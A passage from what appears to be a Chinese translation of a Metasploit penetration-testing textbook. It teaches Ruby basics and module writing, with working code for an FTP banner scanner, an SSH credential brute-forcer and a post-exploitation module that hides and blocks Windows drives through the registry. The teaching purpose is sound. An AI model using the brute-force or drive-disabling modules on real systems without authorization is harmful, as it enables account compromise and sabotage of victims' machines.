我们可以看到，当我们将a的值赋给带引号的b时，它被视为字符串，并且在执行加法操作时生成了错误。然而，一旦使用to_i函数，它将值从字符串转换为整数变量，并且加法操作成功执行。同样，关于字符串，当我们尝试将整数与字符串连接时，会出现错误。但是，在转换后，它可以正常工作。

Ruby 中的转换

在处理漏洞利用和模块时，我们将需要大量的转换操作。让我们看看我们将在接下来的部分中使用的一些转换：

• 十六进制转十进制转换：

• 在 Ruby 中，使用内置的hex函数很容易将值从十六进制转换为十进制。让我们来看一个例子：

irb(main):021:0> a= "10"
=> "10"
irb(main):022:0> a.hex
=> 16

• • 我们可以看到，对于十六进制值10，我们得到了值16。

• 十进制转十六进制转换：

• 前面函数的相反操作可以使用to_s函数执行，如下所示：

irb(main):028:0> 16.to_s(16)
=> "10"

Ruby 中的范围

范围是重要的方面，在 Metasploit 等辅助模块中广泛使用扫描仪和模糊测试器。

让我们定义一个范围，并查看我们可以对这种数据类型执行的各种操作：

irb(main):028:0> zero_to_nine= 0..9
=> 0..9
irb(main):031:0> zero_to_nine.include?(4)
=> true
irb(main):032:0> zero_to_nine.include?(11)
=> false
irb(main):002:0> zero_to_nine.each{|zero_to_nine| print(zero_to_nine)}
0123456789=> 0..9
irb(main):003:0> zero_to_nine.min
=> 0
irb(main):004:0> zero_to_nine.max
=> 9

我们可以看到，范围提供了各种操作，如搜索、查找最小和最大值以及显示范围内的所有数据。在这里，include?函数检查值是否包含在范围内。此外，min和max函数显示范围内的最低和最高值。

Ruby 中的数组

我们可以简单地将数组定义为各种值的列表。让我们看一个例子：

irb(main):005:0> name = ["nipun","metasploit"]
=> ["nipun", "metasploit"]
irb(main):006:0> name[0]
=> "nipun"
irb(main):007:0> name[1]
=> "metasploit"  

到目前为止，我们已经涵盖了编写 Metasploit 模块所需的所有变量和数据类型。

有关变量和数据类型的更多信息，请参阅以下链接：www.tutorialspoint.com/ruby/index.htm。

请参考以下链接，了解如何有效使用 Ruby 编程的快速备忘单：github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf。

从其他编程语言转换到 Ruby？请参考一个有用的指南：hyperpolyglot.org/scripting。

Ruby 中的方法

方法是函数的另一个名称。与 Ruby 不同背景的程序员可能会互换使用这些术语。方法是执行特定操作的子例程。使用方法实现代码的重用，并显著减少程序的长度。定义方法很容易，它们的定义以def关键字开始，并以end语句结束。让我们考虑一个简单的程序，以了解它们的工作原理，例如，打印出50的平方：

def print_data(par1) 
square = par1*par1 
return square 
end 
answer = print_data(50) 
print(answer)  

print_data方法接收从主函数发送的参数，将其与自身相乘，并使用return语句发送回去。程序将这个返回值保存在一个名为answer的变量中，并打印这个值。在本章的后半部分以及接下来的几章中，我们将大量使用方法。

决策运算符

决策也是一个简单的概念，与任何其他编程语言一样。让我们看一个例子：

irb(main):001:0> 1 > 2
=> false  

让我们也考虑字符串数据的情况：

irb(main):005:0> "Nipun" == "nipun"
=> false
irb(main):006:0> "Nipun" == "Nipun"
=> true  

让我们考虑一个带有决策运算符的简单程序：

def find_match(a) 
if a =~ /Metasploit/ 
return true 
else 
return false 
end 
end 
# Main Starts Here 
a = "1238924983Metasploitduidisdid" 
bool_b=find_match(a) 
print bool_b.to_s 

在上面的程序中，我们使用了单词"Metasploit"，它位于垃圾数据的中间，并赋值给变量a。接下来，我们将这些数据发送到find_match()方法，它匹配/Metasploit/正则表达式。如果变量a包含单词"Metasploit"，则返回 true 条件，否则将 false 值赋给变量bool_b。

运行上述方法将基于决策运算符=~产生一个有效条件，匹配两个值。

在 Windows 环境中执行上述程序的输出将与以下输出类似：

C:\Ruby23-x64\bin>ruby.exe a.rb
true

Ruby 中的循环

迭代语句被称为循环；与任何其他编程语言一样，Ruby 编程中也存在循环。让我们使用它们，并看看它们的语法与其他语言有何不同：

def forl(a) 
for i in 0..a 
print("Number #{i}n") 
end 
end 
forl(10) 

上面的代码从0到10迭代循环，如范围中定义的那样，并打印出值。在这里，我们使用#{i}在print语句中打印i变量的值。n关键字指定了一个新行。因此，每次打印一个变量，它都会占据一行新行。

通过each循环迭代循环也是一种常见的做法，在 Metasploit 模块中被广泛使用。让我们看一个例子：

def each_example(a) 
a.each do |i| 
print i.to_s + "t" 
end 
end 
# Main Starts Here 
a = Array.new(5) 
a=[10,20,30,40,50] 
each_example(a) 

在上面的代码中，我们定义了一个接受数组a的方法，并使用each循环打印出所有的元素。使用each方法进行循环将把a数组的元素临时存储在i中，直到在下一个循环中被覆盖。t在print语句中表示一个制表符。

更多关于循环的信息，请参考www.tutorialspoint.com/ruby/ruby_loops.htm。

正则表达式

正则表达式用于匹配字符串或在给定一组字符串或句子中的出现次数。当涉及到 Metasploit 时，正则表达式的概念至关重要。我们在大多数情况下使用正则表达式，比如编写模糊测试器、扫描器、分析给定端口的响应等。

让我们看一个演示正则表达式用法的程序的例子。

考虑一个情景，我们有一个变量n，值为Hello world，我们需要为它设计正则表达式。让我们看一下以下代码片段：

irb(main):001:0> n = "Hello world"
=> "Hello world"
irb(main):004:0> r = /world/
=> /world/
irb(main):005:0> r.match n
=> #<MatchData "world">
irb(main):006:0> n =~ r
=> 6  

我们创建了另一个名为r的变量，并将我们的正则表达式存储在其中，即/world/。在下一行，我们使用MatchData类的match对象将正则表达式与字符串进行匹配。Shell 响应了一条消息，MatchData "world"，表示成功匹配。接下来，我们将使用另一种方法来使用=~运算符匹配字符串的方式，它返回匹配的确切位置。让我们看另一个做法：

irb(main):007:0> r = /^world/
=> /^world/
irb(main):008:0> n =~ r
=> nil
irb(main):009:0> r = /^Hello/
=> /^Hello/
irb(main):010:0> n =~ r
=> 0
irb(main):014:0> r= /world$/
=> /world$/
irb(main):015:0> n=~ r
=> 6

让我们给r赋一个新值，即/^world/；这里，^运算符告诉解释器从开头匹配字符串。如果没有匹配，我们得到nil作为输出。我们修改这个表达式以从单词Hello开始；这次，它给我们返回位置0，表示匹配从最开始开始。接下来，我们将正则表达式修改为/world$/，表示我们需要从结尾匹配单词world，以便进行成功匹配。

有关 Ruby 正则表达式的更多信息，请参阅：www.tutorialspoint.com/ruby/ruby_regular_expressions.htm。

请参考以下链接，了解如何有效使用 Ruby 编程的快速备忘单：github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf 和 hyperpolyglot.org/scripting。

有关构建正确的正则表达式，请参考 rubular.com/。

用 Ruby 基础知识结束

你好！还醒着吗？这是一次累人的会话，对吧？我们刚刚介绍了设计 Metasploit 模块所需的 Ruby 基本功能。Ruby 非常广泛，不可能在这里涵盖所有方面。但是，请参考以下链接中关于 Ruby 编程的一些优秀资源：

• Ruby 教程的优秀资源可在以下链接找到：tutorialspoint.com/ruby/

• 使用 Ruby 编程的快速备忘单可以在以下链接找到：

• github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf

• hyperpolyglot.org/scripting

• 有关 Ruby 的更多信息，请访问：en.wikibooks.org/wiki/Ruby_Programming

开发自定义模块

让我们深入了解编写模块的过程。Metasploit 有各种模块，如有效载荷、编码器、利用、NOP 生成器和辅助程序。在本节中，我们将介绍开发模块的基本知识；然后，我们将看看如何创建自定义模块。

我们将讨论辅助和后利用模块的开发。此外，我们将在下一章中介绍核心利用模块。但是，在本章中，让我们详细讨论模块构建的基本要点。

在脑袋里建立一个模块

在深入构建模块之前，让我们了解 Metasploit 框架中组件的排列方式以及它们的作用。

Metasploit 框架的架构

Metasploit 包含各种组件，如必要的库、模块、插件和工具。Metasploit 结构的图形视图如下：

让我们看看这些组件是什么，它们是如何工作的。最好从作为 Metasploit 核心的库开始。我们可以在下表中看到核心库：

库名称	用法
REX	处理几乎所有核心功能，如设置套接字、连接、格式化和所有其他原始功能
MSF CORE	提供了描述框架的底层 API 和实际核心
MSF BASE	为模块提供友好的 API 支持

在 Metasploit 中有许多类型的模块，它们在功能上有所不同。我们有用于创建对被利用系统的访问通道的有效载荷模块。我们有辅助模块来执行操作，如信息收集、指纹识别、模糊化应用程序和登录到各种服务。让我们看一下这些模块的基本功能，如下表所示：

模块类型	用法
有效载荷	有效载荷用于在利用系统后执行操作，如连接到或从目标系统，或执行特定任务，如安装服务等。在成功利用系统后，有效载荷执行是下一步。在上一章中广泛使用的 Meterpreter shell 是典型的 Metasploit 有效载荷。
辅助	执行特定任务的模块，如信息收集、数据库指纹识别、端口扫描和目标网络上的横幅抓取的辅助模块。
编码器	编码器用于对载荷和攻击向量进行编码，以逃避杀毒软件或防火墙的检测。
NOPs	NOP 生成器用于对齐，从而使利用稳定。
利用	触发漏洞的实际代码。

了解文件结构

Metasploit 的文件结构按照以下图示的方案布置：

我们将通过以下表格介绍最相关的目录，这将帮助我们构建 Metasploit 模块：

目录	用途
lib	Metasploit 的核心；它包含了所有必要的库文件，帮助我们构建 MSF 模块。
模块	所有的 Metasploit 模块都包含在这个目录中；从扫描器到后渗透模块，Metasploit 项目中集成的每个模块都可以在这个目录中找到。
工具	包含在这个文件夹中的命令行实用程序有助于渗透测试；从创建垃圾模式到查找成功利用编写的 JMP ESP 地址，所有必要的命令行实用程序都在这里。
插件	所有扩展 Metasploit 功能的插件都存储在这个目录中。标准插件包括 OpenVAS、Nexpose、Nessus 等，可以使用load命令加载到框架中。
脚本	这个目录包含 Meterpreter 和其他各种脚本。

库布局

Metasploit 模块是由不同库中包含的各种功能以及一般的 Ruby 编程构建而成。现在，要使用这些功能，我们首先需要了解它们是什么。我们如何触发这些功能？我们需要传递多少个参数？此外，这些功能会返回什么？

让我们来看看这些库是如何组织的；如下截图所示：

正如我们在前面的截图中所看到的，我们在/lib目录中有关键的rex库以及所有其他必要的库。

/base和/core库也是一组关键的库，位于/msf目录下：

现在，在/msf/core库文件夹下，我们有所有在第一章中使用的模块的库；如下截图所示：

这些库文件为所有模块提供了核心。然而，对于不同的操作和功能，我们可以参考任何我们想要的库。在大多数 Metasploit 模块中使用的一些最常用的库文件位于core/exploits/目录中，如下截图所示：

正如我们所看到的，很容易在core/目录中找到各种类型模块的相关库。目前，我们在/lib目录中有用于利用、载荷、后渗透、编码器和其他各种模块的核心库。

访问 Metasploit Git 存储库github.com/rapid7/metasploit-framework以访问完整的源代码。

了解现有模块

开始编写模块的最佳方法是深入研究现有的 Metasploit 模块，了解它们内部是如何工作的。

Metasploit 模块的格式

Metasploit 模块的骨架相当简单。我们可以在这里显示的代码中看到通用的头部部分：

require 'msf/core' 

class MetasploitModule < Msf::Auxiliary 
  def initialize(info = {}) 
    super(update_info(info, 
      'Name'           => 'Module name', 
      'Description'    => %q{ 
        Say something that the user might want to know. 
      }, 
      'Author'         => [ 'Name' ], 
      'License'        => MSF_LICENSE 
    )) 
  end 
  def run 
    # Main function 
  end 
end 

一个模块通过使用require关键字包含必要的库开始，前面的代码中跟随着msf/core库。因此，它包括了来自/msf目录的核心库。

下一个重要的事情是定义类类型，以指定我们要创建的模块的类型。我们可以看到我们已经为同样的目的设置了MSF::Auxiliary。

在initialize方法中，这是 Ruby 中的默认构造函数，我们定义了Name，Description，Author，License，CVE等详细信息。此方法涵盖了特定模块的所有相关信息：Name通常包含被定位的软件名称；Description包含有关漏洞解释的摘录；Author是开发模块的人的名字；License是MSF_LICENSE，如前面列出的代码示例中所述。辅助模块的主要方法是run方法。因此，除非您有大量其他方法，否则所有操作都应在其中执行。但是，执行仍将从run方法开始。

分解现有的 HTTP 服务器扫描器模块

让我们使用一个简单的 HTTP 版本扫描器模块，并看看它是如何工作的。这个 Metasploit 模块的路径是：/modules/auxiliary/scanner/http/http_version.rb。

让我们系统地检查这个模块：

## 
# This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework 
## 
require 'rex/proto/http' 
class MetasploitModule < Msf::Auxiliary 

让我们讨论这里的安排方式。以#符号开头的版权行是注释，包含在所有 Metasploit 模块中。require 'rex/proto/http'语句要求解释器包含来自rex库的所有 HTTP 协议方法的路径。因此，来自/lib/rex/proto/http目录的所有文件的路径现在对模块可用，如下面的屏幕截图所示：

所有这些文件都包含各种 HTTP 方法，包括建立连接、GET和POST请求、响应处理等功能。

在下一行，Msf::Auxiliary将代码定义为辅助类型模块。让我们继续看代码，如下所示：

  # Exploit mixins should be called first 
  include Msf::Exploit::Remote::HttpClient 
  include Msf::Auxiliary::WmapScanServer 
  # Scanner mixin should be near last 
  include Msf::Auxiliary::Scanner 

前面的部分包括所有包含在模块中使用的方法的必要库文件。让我们列出这些包含的库的路径，如下所示：

包含语句	路径	用法
Msf::Exploit::Remote::HttpClient	/lib/msf/core/exploit/http/client.rb	此库文件将提供各种方法，如连接到目标，发送请求，断开客户端等。
Msf::Auxiliary::WmapScanServer	/lib/msf/core/auxiliary/wmapmodule.rb	你可能想知道，WMAP 是什么？WMAP 是 Metasploit 框架的基于 Web 应用程序的漏洞扫描器附加组件，它利用 Metasploit 进行 Web 测试。
Msf::Auxiliary::Scanner	/lib/msf/core/auxiliary/scanner.rb	此文件包含基于扫描器的模块的各种功能。该文件支持各种方法，如运行模块，初始化和扫描进度等。

让我们看一下代码的下一部分：

def initialize 
  super( 
    'Name'        => 'HTTP Version Detection', 
    'Description' => 'Display version information about each system', 
    'Author'      => 'hdm', 
    'License'     => MSF_LICENSE 
  ) 

  register_wmap_options({ 
      'OrderID' => 0, 
      'Require' => {}, 
    }) 
end 

这部分模块定义了initialize方法，该方法初始化了此模块的基本参数，如Name，Author，Description和License，并初始化了 WMAP 参数。现在，让我们看一下代码的最后一部分：

# Fingerprint a single host 
  def run_host(ip) 
    begin 
      connect 
      res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) 
      fp = http_fingerprint(:response => res) 
      print_good("#{ip}:#{rport} #{fp}") if fp 
      report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp) 
    rescue ::Timeout::Error, ::Errno::EPIPE 
    ensure 
      disconnect 
    end 
  end 
end 

这里的函数是扫描器的核心。

库和函数

让我们看一下在这个模块中使用的一些库的一些基本方法，如下所示：

函数	库文件	用法
run_host	/lib/msf/core/auxiliary/scanner.rb	这是每个主机运行一次的主要方法
connect	/lib/msf/core/auxiliary/scanner.rb	这用于与目标主机建立连接
send_raw_request	/core/exploit/http/client.rb	此方法用于向目标发出原始的 HTTP 请求
request_raw	/rex/proto/http/client.rb	send_raw_request传递数据到的库方法
http_fingerprint	/lib/msf/core/exploit/http/client.rb	将 HTTP 响应解析为可用变量
report_service	/lib/msf/core/auxiliary/report.rb	此方法用于报告和存储在目标主机上找到的服务到数据库中

现在让我们了解一下这个模块。这里，我们有一个名为run_host的方法，以 IP 作为参数来建立与所需主机的连接。run_host方法是从/lib/msf/core/auxiliary/scanner.rb库文件中引用的。这个方法将为每个主机运行一次，如下面的截图所示：

接下来，我们有begin关键字，表示代码块的开始。在下一条语句中，我们有connect方法，它建立与服务器的 HTTP 连接，如前面的表中所讨论的。

接下来，我们定义一个名为res的变量，它将存储响应。我们将使用/core/exploit/http/client.rb文件中的send_raw_request方法，参数为URI为/，请求的method为GET：

上述方法将帮助您连接到服务器，创建请求，发送请求并读取响应。我们将响应保存在res变量中。

这个方法将所有参数传递给/rex/proto/http/client.rb文件中的request_raw方法，这里检查了所有这些参数。我们有很多可以在参数列表中设置的参数。让我们看看它们是什么：

res是一个存储结果的变量。在下一条语句中，从/lib/msf/core/exploit/http/client.rb文件中使用http_fingerprint方法来分析fp变量中的数据。这个方法将记录和过滤诸如Set-cookie、Powered-by和其他这样的头信息。这个方法需要一个 HTTP 响应数据包来进行计算。因此，我们将提供:response => res作为参数，表示应该对之前使用res生成的请求接收到的数据进行指纹识别。然而，如果没有给出这个参数，它将重新做一切，并再次从源获取数据。下一条语句在fp变量被设置时打印出一个类型良好的信息消息，其中包括 IP、端口和服务名称的详细信息。report_service方法只是将信息存储到数据库中。它将保存目标的 IP 地址、端口号、服务类型（基于服务的 HTTP 或 HTTPS）和服务信息。最后一行rescue ::Timeout::Error, ::Errno::EPIPE将处理模块超时的异常。

现在，让我们运行这个模块，看看输出是什么：

到目前为止，我们已经看到了模块是如何工作的。我们可以看到，在成功对应用程序进行指纹识别后，信息被发布在控制台上并保存在数据库中。此外，在超时时，模块不会崩溃，并且处理得很好。让我们再进一步，尝试编写我们自定义的模块。

编写一个自定义的 FTP 扫描器模块

让我们尝试构建一个简单的模块。我们将编写一个简单的 FTP 指纹模块，看看事情是如何工作的。让我们来检查 FTP 模块的代码：

class MetasploitModule < Msf::Auxiliary 
  include Msf::Exploit::Remote::Ftp 
  include Msf::Auxiliary::Scanner 
  include Msf::Auxiliary::Report 
  def initialize 
    super( 
      'Name'        => 'FTP Version Scanner Customized Module', 
      'Description' => 'Detect FTP Version from the Target', 
      'Author'      => 'Nipun Jaswal', 
      'License'     =>  MSF_LICENSE 
    ) 

    register_options( 
      [ 
        Opt::RPORT(21), 
      ]) 
  end 

我们通过定义我们要构建的 Metasploit 模块的类型来开始我们的代码。在这种情况下，我们正在编写一个辅助模块，它与我们之前工作过的模块非常相似。接下来，我们定义了需要从核心库集中包含的库文件，如下所示：

包含语句	路径	用法
Msf::Exploit::Remote::Ftp	/lib/msf/core/exploit/ftp.rb	该库文件包含了所有与 FTP 相关的必要方法，如建立连接、登录 FTP 服务、发送 FTP 命令等方法。
Msf::Auxiliary::Scanner	/lib/msf/core/auxiliary/scanner.rb	该文件包含了所有基于扫描仪的模块的各种功能。该文件支持各种方法，如运行模块、初始化和扫描进度。
Msf::Auxiliary::Report	/lib/msf/core/auxiliary/report.rb	该文件包含了所有各种报告功能，帮助将运行模块的数据存储到数据库中。

我们在initialize方法中定义模块的信息，如名称、描述、作者名称和许可证等属性。我们还定义了模块工作所需的选项。例如，在这里，我们将RPORT分配给端口21，这是 FTP 的默认端口。让我们继续处理模块的其余部分：

def run_host(target_host) 
     connect(true, false) 
    if(banner) 
    print_status("#{rhost} is running #{banner}") 
    report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner) 
    end 
    disconnect 
  end 
end 

库和函数

让我们看看在这个模块中使用的一些重要函数的库，如下所示：

函数	库文件	用法
run_host	/lib/msf/core/auxiliary/scanner.rb	每个主机运行一次的主要方法。
connect	/lib/msf/core/exploit/ftp.rb	该函数负责初始化与主机的连接，并自动抓取横幅并将其存储在横幅变量中。
report_service	/lib/msf/core/auxiliary/report.rb	该方法专门用于将服务及其相关详细信息添加到数据库中。

我们定义了run_host方法，作为主要方法。connect函数将负责初始化与主机的连接。然而，我们向connect函数提供了两个参数，分别是true和false。true参数定义了使用全局参数，而false关闭了模块的冗长功能。connect函数的美妙之处在于它连接到目标并自动记录 FTP 服务的横幅在名为banner的参数中，如下截图所示：

现在，我们知道结果存储在banner属性中。因此，我们只需在最后打印出横幅。接下来，我们使用report_service函数，以便将扫描数据保存到数据库中以供以后使用或进行高级报告。该方法位于辅助库部分的report.rb文件中。report_service的代码看起来类似于以下截图：

我们可以看到，report_service方法提供的参数通过另一个名为framework.db.report_service的方法传递到数据库中，该方法位于/lib/msf/core/db_manager/service.rb中。完成所有必要操作后，我们只需断开与目标的连接。

这是一个简单的模块，我建议您尝试构建简单的扫描程序和其他类似的模块。

使用 msftidy

然而，在运行此模块之前，让我们检查我们刚刚构建的模块是否在语法上是正确的。我们可以通过使用内置的 Metasploit 工具msftidy来实现这一点，如下截图所示：

我们将收到一个警告消息，指示第 20 行末尾有一些额外的空格。当我们删除额外的空格并重新运行msftidy时，我们将看到没有生成错误，这意味着模块的语法是正确的。

现在，让我们运行这个模块，看看我们收集到了什么：

我们可以看到模块成功运行，并且它具有在端口21上运行的服务的横幅，即220-FileZilla Server 0.9.60 beta。在前一个模块中，report_service函数将数据存储到服务部分，可以通过运行services命令来查看，如前面的截图所示。

有关 Metasploit 项目中模块的接受标准，可参考：github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements。

编写一个自定义的 SSH 身份验证暴力攻击。

检查弱登录凭据，我们需要执行身份验证暴力攻击。这些测试的议程不仅是为了测试应用程序是否容易受到弱凭据的攻击，还要确保适当的授权和访问控制。这些测试确保攻击者不能简单地通过尝试非穷尽的暴力攻击来绕过安全范式，并且在一定数量的随机猜测后被锁定。

设计 SSH 服务的下一个身份验证测试模块，我们将看看在 Metasploit 中设计基于身份验证的检查有多容易，并执行攻击身份验证的测试。现在让我们跳入编码部分并开始设计一个模块，如下所示：

require 'metasploit/framework/credential_collection' 
require 'metasploit/framework/login_scanner/ssh' 

class MetasploitModule < Msf::Auxiliary 

  include Msf::Auxiliary::Scanner 
  include Msf::Auxiliary::Report 
  include Msf::Auxiliary::AuthBrute 

  def initialize 
    super( 
      'Name'        => 'SSH Scanner', 
      'Description' => %q{ 
        My Module. 
      }, 
      'Author'      => 'Nipun Jaswal', 
      'License'     => MSF_LICENSE 
    ) 

    register_options( 
      [ 
        Opt::RPORT(22) 
      ]) 
  end 

在前面的示例中，我们已经看到了使用Msf::Auxiliary::Scanner和Msf::Auxiliary::Report的重要性。让我们看看其他包含的库并通过下表了解它们的用法：

包含语句	路径	用法
Msf::Auxiliary::AuthBrute	/lib/msf/core/auxiliary/auth_brute.rb	提供必要的暴力攻击机制和功能，比如提供使用单个用户名和密码、单词列表和空密码的选项。

在前面的代码中，我们还包括了两个文件，分别是metasploit/framework/login_scanner/ssh和metasploit/framework/credential_collection。metasploit/framework/login_scanner/ssh文件包括了 SSH 登录扫描器库，它消除了所有手动操作，并提供了 SSH 扫描的底层 API。metasploit/framework/credential_collection文件帮助根据datastore中用户输入创建多个凭据。接下来，我们只需定义我们正在构建的模块的类型。

在initialize部分，我们为这个模块定义了基本信息。让我们看看下一部分：

def run_host(ip) 
    cred_collection = Metasploit::Framework::CredentialCollection.new( 
      blank_passwords: datastore['BLANK_PASSWORDS'], 
      pass_file: datastore['PASS_FILE'], 
      password: datastore['PASSWORD'], 
      user_file: datastore['USER_FILE'], 
      userpass_file: datastore['USERPASS_FILE'], 
      username: datastore['USERNAME'], 
      user_as_pass: datastore['USER_AS_PASS'], 
    ) 

    scanner = Metasploit::Framework::LoginScanner::SSH.new( 
      host: ip, 
      port: datastore['RPORT'], 
      cred_details: cred_collection, 
      proxies: datastore['Proxies'], 
      stop_on_success: datastore['STOP_ON_SUCCESS'], 
      bruteforce_speed: datastore['BRUTEFORCE_SPEED'], 
      connection_timeout: datastore['SSH_TIMEOUT'], 
      framework: framework, 
      framework_module: self, 
    ) 

我们可以看到在前面的代码中有两个对象，分别是cred_collection和scanner。这里需要注意的一个重要点是，我们不需要任何手动登录 SSH 服务的方法，因为登录扫描器会为我们完成一切。因此，cred_collection只是根据模块上设置的datastore选项生成凭据集。CredentialCollection类的美妙之处在于它可以一次性接受单个用户名/密码组合、单词列表和空凭据，或者它们中的一个。

所有登录扫描器模块都需要凭据对象来进行登录尝试。在前面的代码中定义的scanner对象初始化了一个 SSH 类的对象。这个对象存储了目标的地址、端口、由CredentialCollection类生成的凭据，以及其他数据，比如代理信息、stop_on_success，它将在成功的凭据匹配时停止扫描，暴力攻击速度和尝试超时的值。

到目前为止，在模块中我们已经创建了两个对象；cred_collection将根据用户输入生成凭据，而scanner对象将使用这些凭据来扫描目标。接下来，我们需要定义一个机制，使得来自单词列表的所有凭据都被定义为单个参数，并针对目标进行测试。

我们已经在之前的示例中看到了run_host的用法。让我们看看在这个模块中我们将使用哪些来自各种库的其他重要函数：

函数	库文件	用法
create_credential()	/lib/msf/core/auxiliary/report.rb	从结果对象中产生凭据数据。
create_credential_login()	/lib/msf/core/auxiliary/report.rb	从结果对象中创建登录凭据，可用于登录到特定服务。
invalidate_login	/lib/msf/core/auxiliary/report.rb	标记一组凭据为特定服务的无效。

让我们看看我们如何实现这一点：

   scanner.scan! do |result| 
      credential_data = result.to_h 
      credential_data.merge!( 
          module_fullname: self.fullname, 
          workspace_id: myworkspace_id 
      ) 
         if result.success? 
        credential_core = create_credential(credential_data) 
        credential_data[:core] = credential_core 
        create_credential_login(credential_data) 
        print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}" 
         else 
        invalidate_login(credential_data) 
        print_status "#{ip} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" 
         end 
   end 
end 
end 

可以观察到我们使用.scan来初始化扫描，这将自行执行所有的登录尝试，这意味着我们不需要明确指定任何其他机制。.scan指令就像 Ruby 中的each循环一样。

在下一个语句中，结果被保存在result对象中，并使用to_h方法分配给credential_data变量，该方法将数据转换为哈希格式。在下一行中，我们将模块名称和工作区 ID 合并到credential_data变量中。接下来，我们使用.success变量对result对象进行 if-else 检查，该变量表示成功登录到目标。如果result.success?变量返回 true，我们将凭据标记为成功的登录尝试并将其存储在数据库中。但是，如果条件不满足，我们将credential_data变量传递给invalidate_login方法，表示登录失败。

建议通过msftidy进行一致性检查后再运行本章和后续章节中的所有模块。让我们尝试运行该模块，如下所示：

我们可以看到我们能够使用claire和18101988作为用户名和密码登录。让我们看看我们是否能够使用creds命令将凭据记录到数据库中：

我们可以看到我们已经将详细信息记录到数据库中，并且可以用于进行高级攻击或报告。

重新表达方程

如果您在之前列出的模块上工作后感到困惑，让我们逐步了解模块：

1. 我们创建了一个CredentialCollection对象，它接受任何用户作为输入并产生凭据，这意味着如果我们将USERNAME作为 root 和PASSWORD作为 root，它将作为单个凭据产生。但是，如果我们使用USER_FILE和PASS_FILE作为字典，那么它将从字典文件中获取每个用户名和密码，并分别为文件中的每个用户名和密码组合生成凭据。

2. 我们为 SSH 创建了一个scanner对象，它将消除任何手动命令使用，并将简单地检查我们提供的所有组合。

3. 我们使用.scan方法运行了我们的scanner，它将在目标上初始化暴力破解的身份验证。

4. .scan方法将依次扫描所有凭据，并根据结果，将其存储到数据库中并使用print_good显示，否则将使用print_status显示而不保存。

编写一个驱动禁用后渗透模块

现在我们已经看到了模块构建的基础知识，我们可以进一步尝试构建一个后渗透模块。这里需要记住的一点是，只有在成功攻击目标后才能运行后渗透模块。

因此，让我们从一个简单的驱动禁用模块开始，该模块将禁用目标系统上选择的驱动器，该系统是 Windows 7 操作系统。让我们看看模块的代码，如下所示：

require 'rex' 
require 'msf/core/post/windows/registry' 
class MetasploitModule < Msf::Post 
  include Msf::Post::Windows::Registry 
  def initialize 
    super( 
        'Name'          => 'Drive Disabler', 
        'Description'   => 'This Modules Hides and Restrict Access to a Drive', 
        'License'       => MSF_LICENSE, 
        'Author'        => 'Nipun Jaswal' 
      ) 
    register_options( 
      [ 
        OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ]) 
      ]) 
  end     

我们以与之前模块相同的方式开始。我们添加了所有需要的库的路径，以便在这个后渗透模块中使用。让我们看看下表中的任何新的包含和它们的用法：

包含语句	路径	用法
Msf::Post::Windows::Registry	lib/msf/core/post/windows/registry.rb	这个库将使我们能够使用 Ruby Mixins 轻松地进行注册表操作函数。

接下来，我们将模块的类型定义为Post，用于后渗透。在继续代码时，我们在initialize方法中描述了模块的必要信息。我们可以始终定义register_options来定义我们的自定义选项以与模块一起使用。在这里，我们使用OptString.new将DriveName描述为字符串数据类型。定义新选项需要两个参数，即required和description。我们将required的值设置为true，因为我们需要一个驱动器号来启动隐藏和禁用过程。因此，将其设置为true将不允许模块运行，除非为其分配一个值。接下来，我们定义了新添加的DriveName选项的描述。

在继续代码的下一部分之前，让我们看看在这个模块中我们将要使用的重要函数是什么：

函数	库文件	用法
meterpreter_registry_key_exist	lib/msf/core/post/windows/registry.rb	检查注册表中是否存在特定的键
registry_createkey	lib/msf/core/post/windows/registry.rb	创建一个新的注册表键
meterpreter_registry_setvaldata	lib/msf/core/post/windows/registry.rb	创建一个新的注册表值

让我们看看模块的剩余部分：

def run 
drive_int = drive_string(datastore['DriveName']) 
key1="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" 

exists = meterpreter_registry_key_exist?(key1) 
if not exists 
print_error("Key Doesn't Exist, Creating Key!") 
registry_createkey(key1) 
print_good("Hiding Drive") 
meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) 
print_good("Restricting Access to the Drive") 
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) 
else 
print_good("Key Exist, Skipping and Creating Values") 
print_good("Hiding Drive") 
meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) 
print_good("Restricting Access to the Drive") 
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) 
end 
print_good("Disabled #{datastore['DriveName']} Drive") 
end 

通常我们使用run方法来运行后渗透模块。因此，在定义run时，我们将DriveName变量发送到drive_string方法，以获取驱动器的数值。

我们创建了一个名为key1的变量，并将注册表的路径存储在其中。我们将使用meterpreter_registry_key_exist来检查系统中是否已经存在该键。

如果键存在，则将exists变量的值分配为true或false。如果exists变量的值为false，我们使用registry_createkey(key1)创建键，然后继续创建值。但是，如果条件为真，我们只需创建值。

为了隐藏驱动器并限制访问，我们需要创建两个注册表值，即NoDrives和NoViewOnDrive，其值为十进制或十六进制的驱动器号，类型为DWORD。

我们可以使用meterpreter_registry_setvaldata来实现这一点，因为我们正在使用 meterpreter shell。我们需要向meterpreter_registry_setvaldata函数提供五个参数，以确保其正常运行。这些参数是键路径（字符串）、注册表值的名称（字符串）、驱动器号的十进制值（字符串）、注册表值的类型（字符串）和视图（整数值），对于本机视图为 0，32 位视图为 1，64 位视图为 2。

meterpreter_registry_setvaldata的示例可以分解如下：

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) 

